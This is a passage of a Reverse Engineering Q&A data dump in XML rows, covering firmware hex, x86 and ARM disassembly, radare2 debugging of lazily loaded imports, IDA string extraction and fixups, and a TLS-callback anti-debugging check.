href=&quot;https://drive.google.com/file/d/1WJcVrc11UX7Ps2JL9Y1RhsXNqdPd-4TJ/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the full file (42 KB)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's some more hex if you don't feel like downloading the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0C4210889FBE8A9FBE0105780100E077&#xA;0C422004003508003C0000E0200032E3&#xA;0C4230050037600010E0801802003B21&#xA;0C424001F02C1A00370004BE6011B819&#xA;0C42506B09200982CF0200390882CFE0&#xA;0C42600441B06942520E003208003BDD&#xA;0C42708281716101648904D10884D34B&#xA;0C42808B05E80442E8F9FF3A0500371E&#xA;0C429008044489844C8B05E90442E9D1&#xA;0C42A0FBFF3A1B01070AF0A701F0A089&#xA;0C42B04F05BE4F04BE000006889FBEF4&#xA;0C42C08A9FBE8C1F783801073F013335&#xA;0C42D003866C6450E12E00326420E193&#xA;0C42E03300326150E12F00326120E118&#xA;0C42F0310032858555EB07B009002035&#xA;0C430008042005003708044489844CA0&#xA;0C43100A003106034387834B00015371&#xA;0C432081815BF8FF330203BE0800A09F&#xA;0C433008044489844CF6FF39C639DDCE&#xA;0C43408301730100321300208904D1B6&#xA;0C43500884D30998A30500320800A7D8&#xA;0C43600300A08904D10884D38B05E879&#xA;0C43708904D10884D30001EB0281D243&#xA;0C4380E4000701F0A10CF0A701F0A080&#xA;0C43901701376420E11901320801BE5A&#xA;0C43A00200BEF7FF376120E11401327B&#xA;0C43B06000B8F3FF3700002001F82780&#xA;0C43C0F0FF3704002010013703F0A2CA&#xA;0C43D0889FBE8A9FBE8C1F78F30007F8&#xA;0C43E0FA00336450E14F00326420E129&#xA;0C43F052003203826C07003B0905D02C&#xA;0C44000306D0820F540C065D02003948&#xA;0C44100200328901780306788582558D&#xA;0C442004003D0003FD8103FD8502EA5D&#xA;0C44308B8542840F7202003B6000107C&#xA;0C4440E080186011B80005EB7A28E15C&#xA;0C44500A0039060078C75DDDF707B2EE&#xA;0C44608780752D00378281710A017879&#xA;0C44706105608180D10080D38502E9E5&#xA;0C4480F9FF3B06044087844802003B23&#xA;0C4490600414E0841C0988A3070032BB&#xA;0C44A08A81718281716101648904D1FC&#xA;0C44B00884D38B05E81700370978A3B7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25040" LastActivityDate="2018-07-16T21:15:10.050" Title="What is the format of this binary file?" Tags="|binary-analysis|firmware|memory|pic|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18817" PostTypeId="1" AcceptedAnswerId="18821" CreationDate="2018-07-16T21:30:24.647" Score="1" ViewCount="1007" Body="&lt;p&gt;I wrote simple program(was built in release mode(x86)) to practise re skills but I can not understand one part of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C++ program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int doSub(int a, int b) &#xA;{&#xA;    int result = a + b;&#xA;    result -= 2;&#xA;    return result;&#xA;}&#xA;&#xA;int doSum(int a, int b)&#xA;{&#xA;    int result = a + b;&#xA;    result += 2;&#xA;    return result;&#xA;}&#xA;&#xA;int main(int argc, char** argv)&#xA;{      &#xA;    int wynik = 0;&#xA;    int liczbaA = atoi(argv[1]);&#xA;    int liczbaB = atoi(argv[2]);&#xA;&#xA;    if (liczbaA &amp;gt; 3)&#xA;    {&#xA;        wynik = doSum(liczbaA, liczbaB);&#xA;    }&#xA;    else&#xA;    {&#xA;        wynik = doSub(liczbaA, liczbaB);&#xA;    }&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Result&quot; &amp;lt;&amp;lt; wynik;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lkorz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lkorz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my question is: what is happening here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, ds:0FFFFFFFEh[ecx*4] ; ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I supposed to see here two instructions like sub/add. Can someone explain me how it's handled here operation +2 and -2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@edit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_401052:&#xA;mov     edi, [ebp+argv]&#xA;push    dword ptr [edi+4] ; Str&#xA;call    ds:__imp__atoi&#xA;add     esp, 4&#xA;mov     ebx, eax&#xA;push    dword ptr [edi+8] ; Str&#xA;call    ds:__imp__atoi&#xA;xor     ecx, ecx&#xA;add     esp, 4&#xA;add     eax, ebx&#xA;mov     edx, offset aResult ; &quot;Result&quot;&#xA;cmp     ebx, 3&#xA;setnle  cl&#xA;lea     ecx, ds:0FFFFFFFEh[ecx*4]&#xA;add     eax, ecx&#xA;push    eax&#xA;push    ecx&#xA;mov     ecx, ds:__imp_?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt; std::cout&#xA;call    std__operator___std__char_traits_char___&#xA;add     esp, 4&#xA;mov     ecx, eax&#xA;call    ds:__imp_??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z ; std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(int)&#xA;pop     edi&#xA;xor     eax, eax&#xA;pop     ebx&#xA;mov     esp, ebp&#xA;pop     ebp&#xA;retn&#xA;main endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24941" LastEditorUserId="24941" LastEditDate="2018-07-17T17:19:16.067" LastActivityDate="2018-07-17T17:19:16.067" Title="Lea instruction on datasegment" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18818" PostTypeId="2" ParentId="18817" CreationDate="2018-07-17T01:09:32.583" Score="2" Body="&lt;p&gt;Release mode optimises. if you want to see simple unoptimised asm blow-by-blow - turn off all optimisations or compile your code in debug mode (not sure the latter will work tho).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole segment from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp ebx,3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add eax, ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;looks like the equivalent of the original &lt;em&gt;if&lt;/em&gt; with your two functions inlined and the condition flattened into a series of arithmetic operations.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="18014" LastEditDate="2018-07-17T05:17:13.520" LastActivityDate="2018-07-17T05:17:13.520" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18819" PostTypeId="1" AcceptedAnswerId="18828" CreationDate="2018-07-17T01:12:13.437" Score="4" ViewCount="3763" Body="&lt;p&gt;I have a linux binary that imports functions from an external library (shared object). The functions are &lt;a href=&quot;https://en.wikipedia.org/wiki/Lazy_loading&quot; rel=&quot;nofollow noreferrer&quot;&gt;lazy loaded&lt;/a&gt; and not available when rip is at &lt;code&gt;@main&lt;/code&gt; or &lt;code&gt;@entry&lt;/code&gt;. When i step into such a function (like &lt;code&gt;call sym.imp.&amp;lt;function&amp;gt;&lt;/code&gt;) it goes into plt-&gt;got-&gt;linker-&gt;function. Doing this manually (step-into) is very time consuming and uncomfortable. None of the analysis functions (&lt;code&gt;aaa&lt;/code&gt;) seem to register any functions (&lt;code&gt;afl ~ &amp;lt;function&amp;gt;&lt;/code&gt;) of the lazy loaded library so there is no way to gather the function start address (until the linker fills the plt/got).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way i figured out so far is to break at the &lt;code&gt;call&lt;/code&gt;, look up the mapped memory (&lt;code&gt;dm&lt;/code&gt;) of the (now loaded) library and adding the offset of the function (gathered by directly/statically loading the library beforehand). This finally leads to the target function start address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though this works i think its still too complicated for such a basic task and there might be a much easier way. I can remember that IDA/Windows allowed to prepare a static environment (load binary, libs, add comments, annotations and such) and once going into the debugger the initialization phase (linker) detected the prepared libs and asked to use/overload them in the dynamic session. There, you could easily set breakpoints on the functions and the debugger stopped successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: How to get into lazy loaded imported functions without going over plt/got/linker in radare2? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here is a specific example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -d /usr/bin/rar&#xA;aaa&#xA;db sym.imp.__swprintf_chk&#xA;dc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you end up in the &lt;code&gt;.plt&lt;/code&gt; (twice) and then in &lt;code&gt;map.usr_lib_ld_2.27.so.r_x + 50055&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25043" LastEditorUserId="25043" LastEditDate="2018-07-17T19:44:09.243" LastActivityDate="2018-07-17T20:35:17.163" Title="Radare2 debugging - How to get into lazy imported functions?" Tags="|debugging|linux|radare2|dynamic-linking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18821" PostTypeId="2" ParentId="18817" CreationDate="2018-07-17T07:02:44.823" Score="1" Body="&lt;p&gt;&lt;code&gt;0FFFFFFFEh&lt;/code&gt; is &lt;code&gt;-2&lt;/code&gt; in decimal format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ecx= is 1 if liczbaA is more than 3 and 0 otherwise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instruction LEA (load effective address) can do special arithmetic operation: &lt;code&gt;a + b*X + Y&lt;/code&gt; where &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are registers, &lt;code&gt;Y&lt;/code&gt; is constant and &lt;code&gt;X&lt;/code&gt; is 1, 2, 4 or 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you calculate:&#xA;&lt;code&gt;-2+4*ecx&lt;/code&gt; or &lt;code&gt;-2+4*(liczbaA&amp;gt;3)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if liczbaA is more than 3 then result is 2 if less then it is -2&lt;/p&gt;&#xA;" OwnerUserId="25046" LastEditorUserId="2147" LastEditDate="2018-07-17T10:48:34.837" LastActivityDate="2018-07-17T10:48:34.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18822" PostTypeId="1" AcceptedAnswerId="18826" CreationDate="2018-07-17T11:43:29.690" Score="1" ViewCount="218" Body="&lt;p&gt;I'm trying to understands how it works by decompiling my own Objective-C code. Here's the decompiled instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_8= -8&#xA;var_4= -4&#xA;&#xA;SUB             SP, SP, #8&#xA;MOVS            R2, #1&#xA;STR             R0, [SP,#8+var_4]&#xA;STR             R1, [SP,#8+var_8]&#xA;MOV             R0, R2&#xA;ADD             SP, SP, #8&#xA;BX              LR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From my understanding (correct me if I'm wrong), by line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SP=SP-8&#xA;Move 1 to R2&#xA;Store R0 into SP+8+var_4&#xA;Store R1 into SP+8+var_8&#xA;Move R2 into R0&#xA;SP=SP+8&#xA;Next Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the actual code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%hook SomeClass&#xA;- (int)somemethod {&#xA;return 1;&#xA;}&#xA;%end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I don't understand why it needs &lt;code&gt;STR R0, [SP,#8+var_4]&lt;/code&gt; and &lt;code&gt;STR R1, [SP,#8+var_8]&lt;/code&gt; for, as I can't see it purposes. And if I were to &lt;code&gt;return 0&lt;/code&gt;, a simple change to of &lt;code&gt;MOVS R2, #1&lt;/code&gt; to &lt;code&gt;MOVS R2, #0&lt;/code&gt; would do, wouldn't it? But that didn't works.&lt;/p&gt;&#xA;" OwnerUserId="25050" LastEditorUserId="25050" LastEditDate="2018-07-17T12:06:58.677" LastActivityDate="2018-07-17T17:41:06.967" Title="Could someone explain how this ARM instructions works compared to the actual Objective-C code?" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18823" PostTypeId="1" AcceptedAnswerId="18835" CreationDate="2018-07-17T12:05:38.030" Score="2" ViewCount="547" Body="&lt;p&gt;I found the executable in question using &lt;code&gt;VirusTotal&lt;/code&gt; &amp;quot;hunting&amp;quot; feature, where one can run &lt;code&gt;Yara&lt;/code&gt; rules for the files existing in VT database and match the strings. I downloaded the file, opened it with &lt;code&gt;PEStudio&lt;/code&gt; and it turned out to contain very many strings that were email addresses, one of which was the string I looked for in VT:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mgbDc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgbDc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Please note, the number of extracted strings is pretty high.&lt;/p&gt;&#xA;&lt;p&gt;However, when I opened the executable in &lt;code&gt;IDA&lt;/code&gt;, none of these email strings were found. The number of strings was much lower too. But, instead I found, for example, these strings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ipq4G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ipq4G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does this possibly mean that the emails do not come from a pre-existing list but are generated by the executable?&lt;/p&gt;&#xA;&lt;p&gt;In addition, I noticed some text file names in the &lt;code&gt;PEStudio&lt;/code&gt;'s string list, but they were also nowhere to be found in &lt;code&gt;IDA&lt;/code&gt;'s list. Is there any difference between &lt;code&gt;IDA&lt;/code&gt;'s and &lt;code&gt;PEStudio&lt;/code&gt; (and similar tools') string extraction?&lt;/p&gt;&#xA;" OwnerUserId="23292" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-07-18T10:03:40.883" Title="Why can I see certain strings when PE is opened with a hex editor or a simple static analysis tool but not with IDA?" Tags="|ida|strings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18825" PostTypeId="1" CreationDate="2018-07-17T15:25:29.007" Score="1" ViewCount="429" Body="&lt;p&gt;I'm using IDA 7 &lt;strong&gt;Freeware&lt;/strong&gt;, not Pro. I've been using IDC to re-invent the wheel somewhat, but I'm learning a ton of stuff as I go along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 16-bit MSDOS exe which I'm reversing. I stripped out the header and reloc table in my first attempt, so that all seg refs resolved correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've found set_fixup() and friends, and also seen doRelocs() from the (old) SDK via Google. I'm a bit puzzled by it all.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;set_fixup() as per IDA help has 5 params. However set_fixup() expects 6 params in my version of IDA Freeware.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;am I supposed to use set_fixup() on an entry in the exe header reloc table, or on the ea of an instruction in the program? (eg mov ax, 0x2d0e - where 0x2d0e needs to be adjusted to be 0x2d0e + 0x160 - code starts at 0x1600+10).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can deduce from experiment set_fixup() looks like: set_fixup(targetEa, fixupTypeFlag, ???, ???, ???, displacement). Seems that p3 might be an ea, and p3 should be &gt;p4 (otherwise nothing happens). p5 appears to have no effect!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doRelocs() - in the (ver?) dos_ovr loader - changes instruction bytes referenced by the exe header reloc table, physically changing the bytes in the code. It then also calls set_fixups(). I must be understanding fixups wrongly, or IDA fixups function differently to DOS exe relocations. Surely if you change the bytes to be relative to the start of the file ('mz'), then you no longer need to apply fixups?? They are fixed up by changing them! After all that's what DOS does when it loads the code before discarding the header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please help me understand IDA fixups!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use this IDC code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//seg001:10 to_ea == 0x1610&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//0x01610: mov ax, 0x02d0e (next: mov ds,ax)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//0x2d0e + 0x160 = 0x2e6e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set_fixup(0x1611, FIXUP_SEG16, 0x2e6e0, 0x2e6e, 0, 0) //best guess at args&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e: Partial answer from Ilfak Guilfanov (via email)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~~~~&#xA;Jul 18 (1 day ago)&#xA;to me &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, we will fix this. Meanwhile pass 0 for fixupf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;void set_fixup(long ea, long type, long fixupf, long targetsel, long targetoff, long displ);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~~~~&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I'll be able to figure the rest out, but still grateful for any further help!&lt;/p&gt;&#xA;" OwnerUserId="25054" LastEditorUserId="25054" LastEditDate="2018-07-19T17:30:35.483" LastActivityDate="2018-07-19T17:30:35.483" Title="IDA fixups, why and how" Tags="|ida|dos-exe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18826" PostTypeId="2" ParentId="18822" CreationDate="2018-07-17T17:41:06.967" Score="2" Body="&lt;p&gt;Objective C methods are not called directly, but via a piece of trampoline code in the ObjC's runtime &quot;objc_msgSend&quot; function, which in turn calls a regular C function implementing the ObjC method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the method parameters, the C function is passed two additional parameters in the first two parameter slows, which are R0 and R1 on ARM (see &lt;a href=&quot;https://stackoverflow.com/questions/14535527/use-of-self-keyword-in-objective-c&quot;&gt;this description&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R0: &quot;self&quot;, a reference to the actual object that is executing the current method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Inside an instance method, self refers to the receiver (object) of the message that invoked the method, while in a class method self will indicate which class is calling.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R1: &quot;_cmd&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This points to the selector being sent, in your case this should point to a string &quot;somemethod&quot; (or a struct containing this string, not sure about the current ARM implementation).&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-07-17T17:41:06.967" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18828" PostTypeId="2" ParentId="18819" CreationDate="2018-07-17T20:35:17.163" Score="4" Body="&lt;p&gt;The &lt;code&gt;sym.imp.*&lt;/code&gt; symbols are pointing to the &lt;code&gt;plt&lt;/code&gt; and this is intended. In order to locate a specific function of a loaded module/library, you need to use the &lt;code&gt;dmi&lt;/code&gt; command and its subcommands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To follow your example, in the following steps I'll demonstrate how to reach the address of &lt;code&gt;__swprintf_chk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, open a binary in a debug mode. I'm using the &lt;em&gt;same&lt;/em&gt; binary as you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d /usr/bin/rar&#xA;&#xA;Process with PID 8617 started...&#xA;= attach 8617 8617&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA; -- This computer has gone to sleep.&#xA;[0x7f1f85401090]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__swprintf_chk&lt;/code&gt; is part of &lt;em&gt;libc&lt;/em&gt; so we need the library to be loaded in the memory first. By default, radare2 breaks before &lt;code&gt;libc&lt;/code&gt; is loaded into the memory so let's quickly continue the execution until we reach the program's entrypoint using &lt;code&gt;dcu&lt;/code&gt; (&lt;strong&gt;d&lt;/strong&gt;ebug &lt;strong&gt;c&lt;/strong&gt;ontinue &lt;strong&gt;u&lt;/strong&gt;ntil):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f1f85401090]&amp;gt; dcu entry0&#xA;Continue until 0x00403000 using 1 bpsize&#xA;hit breakpoint at: 403000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we are at the program's entrypoint, we can simply execute the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00403000]&amp;gt; dmi libc __swprintf_chk&#xA;235 0x001335f0 0x7f1f845c35f0 GLOBAL   FUNC  162 __swprintf_chk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We received the address of &lt;code&gt;__swprintf_chk&lt;/code&gt; which is &lt;code&gt;0x7f1f845c35f0&lt;/code&gt;. We can use radare2's internal grep (&lt;code&gt;~&lt;/code&gt;) to take only this value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00403000]&amp;gt; dmi libc __swprintf_chk~[2]&#xA;0x7f1f845c35f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can also print it as a radare2 commands using &lt;code&gt;dmi*&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00403000]&amp;gt; dmi* libc __swprintf_chk&#xA;f sym.__swprintf_chk 162 0x7f1f845c35f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want to execute the command, simply prepend it with a dot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00403000]&amp;gt; .dmi* libc __swprintf_chk&#xA;[0x00403000]&amp;gt; f~sym.__swprintf_chk&#xA;0x7f1f845c35f0 162 sym.__swprintf_chk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the address was added as a flag named &quot;sym.__swprintf_chk&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more help you can execute &lt;code&gt;dmi?&lt;/code&gt; and &lt;code&gt;dm?&lt;/code&gt; and read the help for these commands.&lt;br&gt;&#xA;More information can be found in the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/memory_maps.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Memory Maps&quot;&lt;/a&gt; chapter I wrote for r2book.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-07-17T20:35:17.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18829" PostTypeId="2" ParentId="18024" CreationDate="2018-07-17T20:49:27.853" Score="2" Body="&lt;p&gt;This was a bug, and the issue that was opened by OP is now fixed on radare2 &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Master&lt;/a&gt; and on the latest &lt;a href=&quot;https://github.com/radare/radare2/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;releases&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ rasm2 -a x86 -b 64 -d &quot;48898D80FEFFFF&quot;&#xA;mov qword [rbp - 0x180], rcx&#xA;$ rasm2 -a x86 -b 64 &quot;mov qword [rbp - 0x180], rcx&quot;&#xA;48898d80feffff&#xA;&#xA;$ rasm2 -a x86 -b 64 -d &quot;C7458C0000803F&quot;&#xA;mov dword [rbp - 0x74], 0x3f800000&#xA;$ rasm2 -a x86 -b 64 &quot;mov dword [rbp - 0x74], 0x3f800000&quot;&#xA;c7458c0000803f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fix can be found in this &lt;a href=&quot;https://github.com/radare/radare2/pull/10177&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-07-17T20:49:27.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18830" PostTypeId="1" AcceptedAnswerId="18873" CreationDate="2018-07-17T21:25:15.367" Score="4" ViewCount="4495" Body="&lt;p&gt;I came across a document called &lt;a href=&quot;http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Ultimate Anti-Reversing Reference&lt;/a&gt;, which describes various Anti-Debugging techniques. in point &lt;em&gt;4.Thread Local Storage&lt;/em&gt; There is a mention &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thread Local Storage callbacks are called whenever a thread is created&#xA;  or destroyed (unless the process calls the kernel32&#xA;  DisableThreadLibraryCalls() or the ntdll&#xA;  LdrDisableThreadCalloutsForDll() functions). That includes the thread&#xA;  that is created by Windows when a debugger attaches to a process. The&#xA;  debugger thread is special, in that its entrypoint does not point&#xA;  inside the image. Instead, it points inside kernel32.dll. Thus, a&#xA;  simple debugger detection method is to use a Thread Local Storage&#xA;  callback to query the start address of each thread that is created.&#xA;  The check can be made using this 32-bit code to examine the 32-bit&#xA;  Windows environment on either the 32-bit or 64-bit versions of&#xA;  Windows:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push eax&#xA; mov eax, esp&#xA; push 0&#xA; push 4&#xA; push eax&#xA; ;ThreadQuerySetWin32StartAddress&#xA; push 9&#xA; push -2 ;GetCurrentThread()&#xA; call NtQueryInformationThread&#xA; pop eax&#xA; cmp eax, offset l1&#xA; jnb being_debugged&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote the c++ code as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool fooBar()&#xA;{&#xA;    uintptr_t dwStartAddress;&#xA;    TFNNtQueryInformationThread ntQueryInformationThread = (TFNNtQueryInformationThread)GetProcAddress(&#xA;    GetModuleHandle(TEXT(&quot;ntdll.dll&quot;)), &quot;NtQueryInformationThread&quot;);&#xA;&#xA;    if (ntQueryInformationThread != 0) {&#xA;&#xA;        NTSTATUS status = ntQueryInformationThread(&#xA;            (HANDLE)-2,&#xA;            (_THREADINFOCLASS)9,&#xA;            &amp;amp;dwStartAddress,&#xA;            sizeof(dwStartAddress),&#xA;            nullptr);&#xA;       cout &amp;lt;&amp;lt; hex &amp;lt;&amp;lt; &quot;dwStartAddress: 0x&quot; &amp;lt;&amp;lt; dwStartAddress &amp;lt;&amp;lt; dec &amp;lt;&amp;lt; endl;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I'm running this inside the TLS callbacks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXTERN_C&#xA;#ifdef _M_X64&#xA;#pragma const_seg (&quot;.CRT$XLB&quot;)&#xA;const&#xA;#else&#xA;#pragma data_seg (&quot;.CRT$XLB&quot;)&#xA;#endif&#xA;PIMAGE_TLS_CALLBACK p_thread_callback = fooBar;&#xA;#pragma data_seg ()&#xA;#pragma const_seg ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of dwStartAddress points to the .exe module, not to kernel32.dll as stated in the text. Regardless if I just run the exe or run in debugger or attach a debugger to the process (tho I'm not very experienced with attaching so maybe I'm doing something wrong here). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, or the text is wrong / no longer valid?&lt;/p&gt;&#xA;" OwnerUserId="25056" LastActivityDate="2018-07-23T08:32:54.720" Title="Thread EntryPoint in TLS callback as AntiDebug technique" Tags="|anti-debugging|thread|entry-point|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
